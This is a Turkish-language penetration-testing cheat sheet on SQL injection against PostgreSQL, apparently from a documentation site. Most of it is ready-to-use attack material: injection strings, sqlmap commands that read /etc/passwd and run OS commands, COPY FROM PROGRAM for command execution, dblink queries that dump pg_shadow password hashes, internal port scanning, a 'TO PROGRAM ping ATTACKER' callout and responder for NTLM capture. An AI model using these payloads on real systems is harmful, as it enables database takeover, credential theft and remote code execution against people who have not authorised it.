Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
web sqli
Network - Privesc, Port Scanner and NTLM chanllenge response disclosure SQL/Cypher sorgusuna kullanıcı girdisinin birleşmesiyle oluşur. Amaç: DBMS fingerprint, veri sızıntısı ve mümkünse OS/RCE yükseltmesi.
Metodoloji
Section titled “Metodoloji”-
Enjekte edilebilir parametreyi (GET/POST/JSON/header/cookie) izole et.
-
Boolean/time/OAST ile DBMS ve tekniği doğrula.
-
Veri okuma → dosya/OS komutuna yükselt.
-
Kanıt paketle; pivot için credential çıkar.
Tespit
Section titled “Tespit”' OR '1'='11' AND SLEEP(5)-- -1' AND 1=CAST((SELECT version()) AS int)-- -sqlmap -u 'https://TARGET/item?id=1' --batch --banner --current-user --current-dbghauri -u 'https://TARGET/item?id=1' --dbsPostgreSQL enum & okuma
Section titled “PostgreSQL enum & okuma”1' UNION SELECT NULL,version(),current_user-- -'; SELECT table_name FROM information_schema.tables-- -sqlmap -u 'https://TARGET/item?id=1' -D public --tables --batchsqlmap -u 'https://TARGET/item?id=1' --file-read=/etc/passwd --batchPostgreSQL RCE yolları
Section titled “PostgreSQL RCE yolları”CREATE TABLE cmd(data text); COPY cmd FROM PROGRAM 'id';SELECT lo_import('/etc/passwd'); SELECT lo_get(loid);CREATE EXTENSION IF NOT EXISTS dblink;sqlmap -u 'https://TARGET/item?id=1' --os-cmd=id --batchplpython/plperlu/pltclu dil uzantıları → os.systemdblink / large object sızıntı
Section titled “dblink / large object sızıntı”SELECT * FROM dblink('host=127.0.0.1 dbname=postgres user=postgres password=x','select usename,passwd from pg_shadow') AS t(u text,p text);SELECT lo_from_bytea(0, decode('...', 'hex')); SELECT lo_export(oid, '/tmp/x');psql 'host=TARGET user=app dbname=app' -c '\du'Ağ / NTLM / port tarama
Section titled “Ağ / NTLM / port tarama”SELECT * FROM dblink_connect('host=INTERNAL port=445 user=x password=y dbname=x');COPY (SELECT '') TO PROGRAM 'ping -c 1 ATTACKER';responder -I tun0 -vPostgreSQL ağ primitifleri
Section titled “PostgreSQL ağ primitifleri”SELECT * FROM dblink('hostaddr=10.0.0.5 port=22 ...') ...COPY PROGRAM ile iç ağ port tarama çıktısıresponder -I eth0 -vOperasyon notları
Section titled “Operasyon notları”Network - Privesc, Port Scanner and NTLM chanllenge response disclosure sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.